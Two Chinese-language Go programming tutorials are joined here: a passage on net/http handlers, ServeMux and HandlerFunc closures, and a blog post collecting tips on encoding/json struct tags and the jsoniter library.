}

快速地过一下代码:

  1. 在 main 函数中我们只用了 http.NewServeMux 函数来创建一个空的 ServeMux。
  2. 然后我们使用 http.RedirectHandler 函数创建了一个新的处理器,这个处理器会对收到的所有请求,都执行307重定向操作到 http://www.baidu.com。
  3. 接下来我们使用 ServeMux.Handle 函数将处理器注册到新创建的 ServeMux,所以它在 URL 路径/foo 上收到所有的请求都交给这个处理器。
  4. 最后我们创建了一个新的服务器,并通过 http.ListenAndServe 函数监听所有进入的请求,通过传递刚才创建的 ServeMux来为请求去匹配对应处理器。

 

然后在浏览器中访问 http://localhost:3000/foo,你应该能发现请求已经成功的重定向了。

明察秋毫的你应该能注意到一些有意思的事情:ListenAndServer 的函数签名是 ListenAndServe(addr string, handler Handler) ,但是第二个参数我们传递的是个 ServeMux。

我们之所以能这么做,是因为 ServeMux 也有 ServeHTTP 方法,因此它也是个合法的 Handler。

对我来说,将 ServerMux 用作一个特殊的Handler是一种简化。它不是自己输出响应而是将请求传递给注册到它的其他 Handler。这乍一听起来不是什么明显的飞跃 – 但在 Go 中将 Handler 链在一起是非常普遍的用法。

 

自定义处理器(Custom Handlers)

让我们创建一个自定义的处理器,功能是将以特定格式输出当前的本地时间:

type timeHandler struct {
	format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(th.format)
	w.Write([]byte("The time is: " + tm))
}

这个例子里代码本身并不是重点。

真正的重点是我们有一个对象(本例中就是个timerHandler结构体,但是也可以是一个字符串、一个函数或者任意的东西),我们在这个对象上实现了一个 ServeHTTP(http.ResponseWriter, *http.Request) 签名的方法,这就是我们创建一个处理器所需的全部东西。

我们把这个集成到具体的示例里:

//File: main.go

package main

import (
	"log"
	"net/http"
	"time"
)

type timeHandler struct {
	format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(th.format)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	th := &timeHandler{format: time.RFC1123}
	mux.Handle("/time", th)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

main函数中,我们像初始化一个常规的结构体一样,初始化了timeHandler,用 & 符号获得了其地址。随后,像之前的例子一样,我们使用 mux.Handle 函数来将其注册到 ServerMux。

现在当我们运行这个应用,ServerMux 将会将任何对 /time的请求直接交给 timeHandler.ServeHTTP 方法处理。

访问一下这个地址看一下效果:http://localhost:3000/time 。

注意我们可以在多个路由中轻松的复用 timeHandler:

//File: main.go

package main

import (
	"log"
	"net/http"
	"time"
)

type timeHandler struct {
	format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(th.format)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	th1123 := &timeHandler{format: time.RFC1123}
	mux.Handle("/time/rfc1123", th1123)

	th3339 := &timeHandler{format: time.RFC3339}
	mux.Handle("/time/rfc3339", th3339)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

 

将函数作为处理器

对于简单的情况(比如上面的例子),定义个新的有 ServerHTTP 方法的自定义类型有些累赘。我们看一下另外一种方式,我们借助 http.HandlerFunc 类型来让一个常规函数满足作为一个 Handler 接口的条件。

任何有 func(http.ResponseWriter, *http.Request) 签名的函数都能转化为一个 HandlerFunc 类型。这很有用,因为 HandlerFunc 对象内置了 ServeHTTP 方法,后者可以聪明又方便的调用我们最初提供的函数内容。

让我们使用这个技术重新实现一遍timeHandler应用:

package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(time.RFC1123)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	// Convert the timeHandler function to a HandlerFunc type
	th := http.HandlerFunc(timeHandler)
	// And add it to the ServeMux
	mux.Handle("/time", th)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

实际上,将一个函数转换成 HandlerFunc 后注册到 ServeMux 是很普遍的用法,所以 Go 语言为此提供了个便捷方式:ServerMux.HandlerFunc 方法。

我们使用便捷方式重写 main() 函数看起来是这样的:

package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(w http.ResponseWriter, r *http.Request) {
	tm := time.Now().Format(time.RFC1123)
	w.Write([]byte("The time is: " + tm))
}

func main() {
	mux := http.NewServeMux()

	mux.HandleFunc("/time", timeHandler)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

绝大多数情况下这种用函数当处理器的方式工作的很好。但是当事情开始变得更复杂的时候,就会有些产生一些限制了。

你可能已经注意到了,跟之前的方式不同,我们不得不将时间格式硬编码到 timeHandler 的方法中。如果我们想从 main() 函数中传递一些信息或者变量给处理器该怎么办?

一个优雅的方式是将我们处理器放到一个闭包中,将我们要使用的变量带进去:

//File: main.go
package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(format string) http.Handler {
	fn := func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	}
	return http.HandlerFunc(fn)
}

func main() {
	mux := http.NewServeMux()

	th := timeHandler(time.RFC1123)
	mux.Handle("/time", th)

	log.Println("Listening...")
	http.ListenAndServe(":3000", mux)
}

timeHandler 函数现在有了个更巧妙的身份。除了把一个函数封装成 Handler(像我们之前做到那样),我们现在使用它来返回一个处理器。这种机制有两个关键点:

首先是创建了一个fn,这是个匿名函数,将 format 变量封装到一个闭包里。闭包的本质让处理器在任何情况下,都可以在本地范围内访问到 format 变量。

其次我们的闭包函数满足 func(http.ResponseWriter, *http.Request) 签名。如果你记得之前我们说的,这意味我们可以将它转换成一个HandlerFunc类型(满足了http.Handler接口)。我们的timeHandler 函数随后转换后的 HandlerFunc 返回。

 

在上面的例子中我们已经可以传递一个简单的字符串给处理器。但是在实际的应用中可以使用这种方法传递数据库连接、模板组,或者其他应用级的上下文。使用全局变量也是个不错的选择,还能得到额外的好处就是编写更优雅的自包含的处理器以便测试。

 

你也可能见过相同的写法,像这样:

func timeHandler(format string) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	})
}

或者在返回时,使用一个到 HandlerFunc 类型的隐式转换:

func timeHandler(format string) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	}
}

 

更便利的 DefaultServeMux

你可能已经在很多地方看到过 DefaultServeMux, 从最简单的 Hello World 例子,到 go 语言的源代码中。

我花了很长时间才意识到 DefaultServerMux 并没有什么的特殊的地方。DefaultServerMux 就是我们之前用到的 ServerMux,只是它随着 net/httpp 包初始化的时候被自动初始化了而已。Go 源代码中的相关行如下:

var DefaultServeMux = NewServeMux()

net/http 包提供了一组快捷方式来配合 DefaultServeMux:http.Handle 和 http.HandleFunc。这些函数与我们之前看过的类似的名称的函数功能一样,唯一的不同是他们将处理器注册到 DefaultServerMux ,而之前我们是注册到自己创建的 ServeMux。

此外,ListenAndServe在没有提供其他的处理器的情况下(也就是第二个参数设成了 nil),内部会使用 DefaultServeMux。

因此,作为最后一个步骤,我们使用 DefaultServeMux 来改写我们的 timeHandler应用:

//File: main.go
package main

import (
	"log"
	"net/http"
	"time"
)

func timeHandler(format string) http.Handler {
	fn := func(w http.ResponseWriter, r *http.Request) {
		tm := time.Now().Format(format)
		w.Write([]byte("The time is: " + tm))
	}
	return http.HandlerFunc(fn)
}

func main() {
	// Note that we skip creating the ServeMux...

	var format string = time.RFC1123
	th := timeHandler(format)

	// We use http.Handle instead of mux.Handle...
	http.Handle("/time", th)

	log.Println("Listening...")
	// And pass nil as the handler to ListenAndServe.
	http.ListenAndServe(":3000", nil)
}

======END======

[go]json处理的一些总结

https://colobu.com/2017/06/21/json-tricks-in-Go/

本文是基于 Go 官方和 https://eager.io/blog/go-and-json/ 进行翻译整理的

JSON 是一种轻量级的数据交换格式,常用作前后端数据交换,Go 在 encoding/json 包中提供了对 JSON 的支持。

序列化

把 Go struct 序列化成 JSON 对象,Go 提供了 Marshal 方法,正如其含义所示表示编排序列化,函数签名如下:

1
func Marshal(v interface{}) ([]byte, error)

举例来说,比如下面的 Go struct:

1
2
3
4
5
type Message struct {
    Name string
    Body string
    Time int64
}

使用 Marshal 序列化:

1
2
3
m := Message{"Alice", "Hello", 1294706395881547000}
b, err := json.Marshal(m) 
fmt.Println(b) //{"Name":"Alice","Body":"Hello","Time":1294706395881547000}

在 Go 中并不是所有的类型都能进行序列化:

  • JSON object key 只支持 string
  • Channel、complex、function 等 type 无法进行序列化
  • 数据中如果存在循环引用,则不能进行序列化,因为序列化时会进行递归
  • Pointer 序列化之后是其指向的值或者是 nil

还需要注意的是:只有 struct 中支持导出的 field 才能被 JSON package 序列化,即首字母大写的 field

反序列化

反序列化函数是 Unmarshal ,其函数签名如下:

1
func Unmarshal(data []byte, v interface{}) error

如果要进行反序列化,我们首先需要创建一个可以接受序列化数据的 Go struct:

1
2
var m Message
err := json.Unmarshal(b, &m)

JSON 对象一般都是小写表示,Marshal 之后 JSON 对象的首字母依然是大写,如果序列化之后名称想要改变如何实现,答案就是 struct tags

Struct Tag

Struct tag 可以决定 Marshal 和 Unmarshal 函数如何序列化和反序列化数据。

指定 JSON filed name

JSON object 中的 name 一般都是小写,我们可以通过 struct tag 来实现:

1
2
3
type MyStruct struct {
    SomeField string `json:"some_field"`
}

SomeField 序列化之后会变成 some_field。

指定 field 是 empty 时的行为

使用 omitempty 可以告诉 Marshal 函数如果 field 的值是对应类型的 zero-value,那么序列化之后的 JSON object 中不包含此 field:

1
2
3
4
5
6
type MyStruct struct {
    SomeField string `json:"some_field,omitempty"`
}

m := MyStruct{}
b, err := json.Marshal(m) //{}

如果 SomeField == “” ,序列化之后的对象就是 {}

跳过 field

Struct tag “-” 表示跳过指定的 filed:

1
2
3
4
5
6
type MyStruct struct {
    SomeField string `json:"some_field"`
    Passwd string `json:"-"`
}
m := MyStruct{}
b, err := json.Marshal(m) //{"some_feild":""}

即序列化的时候不输出,这样可以有效保护需要保护的字段不被序列化。

反序列化任意 JSON 数据

默认的 JSON 只支持以下几种 Go 类型:

  • bool for JSON booleans
  • float64 for JSON numbers
  • string for JSON strings
  • nil for JSON null

在序列化之前如果不知道 JSON 数据格式,我们使用 interface{} 来存储。interface {} 的作用详见本博的其他文章。

有如下的数据格式:

1
b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

如果我们序列化之前不知道其数据格式,我们可以使用 interface{} 来存储我们的 decode 之后的数据:

1
2
var f interface{}
err := json.Unmarshal(b, &f)

反序列化之后 f 应该是像下面这样:

1
2
3
4
5
6
7
8
f = map[string]interface{}{
    "Name": "Wednesday",
    "Age":  6,
    "Parents": []interface{}{
        "Gomez",
        "Morticia",
    },
}

key 是 string,value 是存储在 interface{} 内的。想要获得 f 中的数据,我们首先需要进行 type assertion,然后通过 range 迭代获得 f 中所有的 key :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
m := f.(map[string]interface{})
for k, v := range m {
    switch vv := v.(type) {
    case string:
        fmt.Println(k, "is string", vv)
    case float64:
        fmt.Println(k, "is float64", vv)
    case []interface{}:
        fmt.Println(k, "is an array:")
        for i, u := range vv {
            fmt.Println(i, u)
        }
    default:
        fmt.Println(k, "is of a type I don't know how to handle")
    }
}

反序列化对 slice、map、pointer 的处理

我们定义一个 struct 继续对上面例子中的 b 进行反序列化:

1
2
3
4
5
6
7
8
type FamilyMember struct {
    Name    string
    Age     int
    Parents []string
}

var m FamilyMember
err := json.Unmarshal(b, &m)

这个例子是能够正常工作的,你一定也注意到了,struct 中包含一个 slice Parents ,slice 默认是 nil,之所以反序列化可以正常进行就是因为 Unmarshal 在序列化时进行了对 slice Parents 做了初始化,同理,对 map 和 pointer 都会做类似的工作,比如序列化如果 Pointer 不是 nil 首先进行 dereference 获得其指向的值,然后再进行序列化,反序列化时首先对 nil pointer 进行初始化

Stream JSON

除了 marshal 和 unmarshal 函数,Go 还提供了 Decoder 和 Encoder 对 stream JSON 进行处理,常见 request 中的 Body、文件等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
jsonFile, err := os.Open("post.json")
if err != nil {
    fmt.Println("Error opening json file:", err)
    return
}

defer jsonFile.Close()
decoder := json.NewDecoder(jsonFile)
for {
    var post Post
    err := decoder.Decode(&post)
    if err == io.EOF {
        break
    }

    if err != nil {
        fmt.Println("error decoding json:", err)
        return
    }

    fmt.Println(post)
}

嵌入式 struct 的序列化

Go 支持对 nested struct 进行序列化和反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
type App struct {
	Id string `json:"id"`
}

type Org struct {
	Name string `json:"name"`
}

type AppWithOrg struct {
	App
	Org
}

func main() {
	data := []byte(`
        {
            "id": "k34rAT4",
            "name": "My Awesome Org"
        }
    `)

	var b AppWithOrg

	json.Unmarshal(data, &b)
	fmt.Printf("%#v", b)

	a := AppWithOrg{
		App: App{
			Id: "k34rAT4",
		},
		Org: Org{
			Name: "My Awesome Org",
		},
	}
	data, _ = json.Marshal(a)
	fmt.Println(string(data))
}

Nested struct 虽然看起来有点怪异,有些时候它将非常有用。

自定义序列化函数

Go JSON package 中定了两个 Interface Marshaler 和 Unmarshaler ,实现这两个 Interface 可以让你定义的 type 支持序列化操作。

错误处理

总是记得检查序列或反序列化的错误,可以让你的程序更健壮,而不是在出错之后带着错误继续执行下去。

参考资料

  1. 临时忽略struct空字段
  2. 临时添加额外的字段
  3. 临时粘合两个struct
  4. 一个json切分成两个struct
  5. 临时改名struct的字段
  6. 用字符串传递数字
  7. 容忍字符串和数字互转
  8. 容忍空数组作为对象
  9. 使用 MarshalJSON支持time.Time
  10. 使用 RegisterTypeEncoder支持time.Time
  11. 使用 MarshalText支持非字符串作为key的map
  12. 使用 json.RawMessage
  13. 使用 json.Number
  14. 统一更改字段的命名风格
  15. 使用私有的字段
  16. 忽略掉一些字段
  17. 忽略掉一些字段2

taowenjson-iterator的作者。 序列化和反序列化需要处理JSON和struct的关系,其中会用到一些技巧。 原文 Golang 中使用 JSON 的小技巧是他的经验之谈,介绍了一些struct解析成json的技巧,以及 json-iterator 库的一些便利的处理。

有的时候上游传过来的字段是string类型的,但是我们却想用变成数字来使用。 本来用一个json:”,string” 就可以支持了,如果不知道golang的这些小技巧,就要大费周章了。

参考文章:http://attilaolah.eu/2014/09/10/json-and-struct-composition-in-go/

临时忽略struct空字段

1
2
3
4
5
type User struct {
Email string `json:”email”`
Password string `json:”password”`
// many more fields…
}

如果想临时忽略掉空Password字段,可以用omitempty:

1
2
3
4
5
6
json.Marshal(struct {
*User
Password bool `json:”password,omitempty”`
}{
User: user,
})

临时添加额外的字段

1
2
3
4
5
type User struct {
Email string `json:”email”`
Password string `json:”password”`
// many more fields…
}

临时忽略掉空Password字段,并且添加token字段

1
2
3
4
5
6
7
8
json.Marshal(struct {
*User
Token string `json:”token”`
Password bool `json:”password,omitempty”`
}{
User: user,
Token: token,
})

临时粘合两个struct

通过嵌入struct的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
type BlogPost struct {
URL string `json:”url”`
Title string `json:”title”`
}
type Analytics struct {
Visitors int `json:”visitors”`
PageViews int `json:”page_views”`
}
json.Marshal(struct{
*BlogPost
*Analytics
}{post, analytics})

一个json切分成两个struct

1
2
3
4
5
6
7
8
9
json.Unmarshal([]byte(`{
“url”: “attila@attilaolah.eu”,
“title”: “Attila’s Blog”,
“visitors”: 6,
“page_views”: 14
}`), &struct {
*BlogPost
*Analytics
}{&post, &analytics})

临时改名struct的字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
type CacheItem struct {
Key string `json:”key”`
MaxAge int `json:”cacheAge”`
Value Value `json:”cacheValue”`
}
json.Marshal(struct{
*CacheItem
// Omit bad keys
OmitMaxAge omit `json:”cacheAge,omitempty”`
OmitValue omit `json:”cacheValue,omitempty”`
// Add nice keys
MaxAge int `json:”max_age”`
Value *Value `json:”value”`
}{
CacheItem: item,
// Set the int by value:
MaxAge: item.MaxAge,
// Set the nested struct by reference, avoid making a copy:
Value: &item.Value,
})

用字符串传递数字

1
2
3
type TestObject struct {
Field1 int `json:”,string”`
}

这个对应的json是 {"Field1": "100"}

如果json是 {"Field1": 100} 则会报错

容忍字符串和数字互转

如果你使用的是jsoniter,可以启动模糊模式来支持 PHP 传递过来的 JSON。

1
2
3
import “github.com/json-iterator/go/extra”
extra.RegisterFuzzyDecoders()

这样就可以处理字符串和数字类型不对的问题了。比如

1
2
var val string
jsoniter.UnmarshalFromString(`100`, &val)

又比如

1
2
var val float32
jsoniter.UnmarshalFromString(`”1.23″`, &val)

容忍空数组作为对象

PHP另外一个令人崩溃的地方是,如果 PHP array是空的时候,序列化出来是[]。但是不为空的时候,序列化出来的是{"key":"value"}。 我们需要把 [] 当成 {} 处理。

如果你使用的是jsoniter,可以启动模糊模式来支持 PHP 传递过来的 JSON。

1
2
3
import “github.com/json-iterator/go/extra”
extra.RegisterFuzzyDecoders()

这样就可以支持了

1
2
var val map[string]interface{}
jsoniter.UnmarshalFromString(`[]`, &val)

使用 MarshalJSON支持time.Time

golang 默认会把 time.Time 用字符串方式序列化。如果我们想用其他方式表示 time.Time,需要自定义类型并定义 MarshalJSON

1
2
3
4
5
6
type timeImplementedMarshaler time.Time
func (obj timeImplementedMarshaler) MarshalJSON() ([]byte, error) {
seconds := time.Time(obj).Unix()
return []byte(strconv.FormatInt(seconds, 10)), nil
}

序列化的时候会调用 MarshalJSON

1
2
3
4
5
6
7
8
9
type TestObject struct {
Field timeImplementedMarshaler
}
should := require.New(t)
val := timeImplementedMarshaler(time.Unix(123, 0))
obj := TestObject{val}
bytes, err := jsoniter.Marshal(obj)
should.Nil(err)
should.Equal(`{“Field”:123}`, string(bytes))

使用 RegisterTypeEncoder支持time.Time

jsoniter 能够对不是你定义的type自定义JSON编解码方式。比如对于 time.Time 可以用 epoch int64 来序列化

1
2
3
4
5
import “github.com/json-iterator/go/extra”
extra.RegisterTimeAsInt64Codec(time.Microsecond)
output, err := jsoniter.Marshal(time.Unix(1, 1002))
should.Equal(“1000001”, string(output))

如果要自定义的话,参见 RegisterTimeAsInt64Codec 的实现代码

使用 MarshalText支持非字符串作为key的map

虽然 JSON 标准里只支持 string 作为 key 的 map。但是 golang 通过 MarshalText() 接口,使得其他类型也可以作为 map 的 key。例如

1
2
3
4
f, _, _ := big.ParseFloat(“1”, 10, 64, big.ToZero)
val := map[*big.Float]string{f: “2”}
str, err := MarshalToString(val)
should.Equal(`{“1″:”2”}`, str)

其中 big.Float 就实现了 MarshalText()

使用 json.RawMessage

如果部分json文档没有标准格式,我们可以把原始的信息用[]byte保存下来。

1
2
3
4
5
6
7
type TestObject struct {
Field1 string
Field2 json.RawMessage
}
var data TestObject
json.Unmarshal([]byte(`{“field1”: “hello”, “field2”: [1,2,3]}`), &data)
should.Equal(` [1,2,3]`, string(data.Field2))

使用 json.Number

默认情况下,如果是 interface{} 对应数字的情况会是 float64 类型的。如果输入的数字比较大,这个表示会有损精度。所以可以 UseNumber() 启用 json.Number 来用字符串表示数字。

1
2
3
4
5
decoder1 := json.NewDecoder(bytes.NewBufferString(`123`))
decoder1.UseNumber()
var obj1 interface{}
decoder1.Decode(&obj1)
should.Equal(json.Number(“123”), obj1)

jsoniter 支持标准库的这个用法。同时,扩展了行为使得 Unmarshal 也可以支持 UseNumber 了。

1
2
3
4
json := Config{UseNumber:true}.Froze()
var obj interface{}
json.UnmarshalFromString(“123”, &obj)
should.Equal(json.Number(“123”), obj)

统一更改字段的命名风格

经常 JSON 里的字段名 Go 里的字段名是不一样的。我们可以用 field tag 来修改。

1
2
3
4
5
6
7
8
output, err := jsoniter.Marshal(struct {
UserName string `json:”user_name”`
FirstLanguage string `json:”first_language”`
}{
UserName: “taowen”,
FirstLanguage: “Chinese”,
})
should.Equal(`{“user_name”:”taowen”,”first_language”:”Chinese”}`, string(output))

但是一个个字段来设置,太麻烦了。如果使用 jsoniter,我们可以统一设置命名风格。

1
2
3
4
5
6
7
8
9
10
11
12
import “github.com/json-iterator/go/extra”
extra.SetNamingStrategy(LowerCaseWithUnderscores)
output, err := jsoniter.Marshal(struct {
UserName string
FirstLanguage string
}{
UserName: “taowen”,
FirstLanguage: “Chinese”,
})
should.Nil(err)
should.Equal(`{“user_name”:”taowen”,”first_language”:”Chinese”}`, string(output))

使用私有的字段

Go 的标准库只支持 public 的 field。jsoniter 额外支持了 private 的 field。需要使用 SupportPrivateFields() 来开启开关。

1
2
3
4
5
6
7
8
9
import “github.com/json-iterator/go/extra”
extra.SupportPrivateFields()
type TestObject struct {
field1 string
}
obj := TestObject{}
jsoniter.UnmarshalFromString(`{“field1″:”Hello”}`, &obj)
should.Equal(“Hello”, obj.field1)

下面是我补充的内容

忽略掉一些字段

原文中第一节有个错误,我更正过来了。omitempty不会忽略某个字段,而是忽略空的字段,当字段的值为空值的时候,它不会出现在JSON数据中。

如果想忽略某个字段,需要使用 json:"-"格式。

1
2
3
4
5
type User struct {
Email string `json:”email”`
Password string `json:”password”`
// many more fields…
}

如果想临时忽略掉空Password字段,可以用-:

1
2
3
4
5
6
json.Marshal(struct {
*User
Password bool `json:”-“`
}{
User: user,
})

忽略掉一些字段2

如果不想更改原struct,还可以使用下面的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
type User struct {
Email string `json:”email”`
Password string `json:”password”`
// many more fields…
}
type omit *struct{}
type PublicUser struct {
*User
Password omit `json:”-“`
}
json.Marshal(PublicUser{
User: user,
})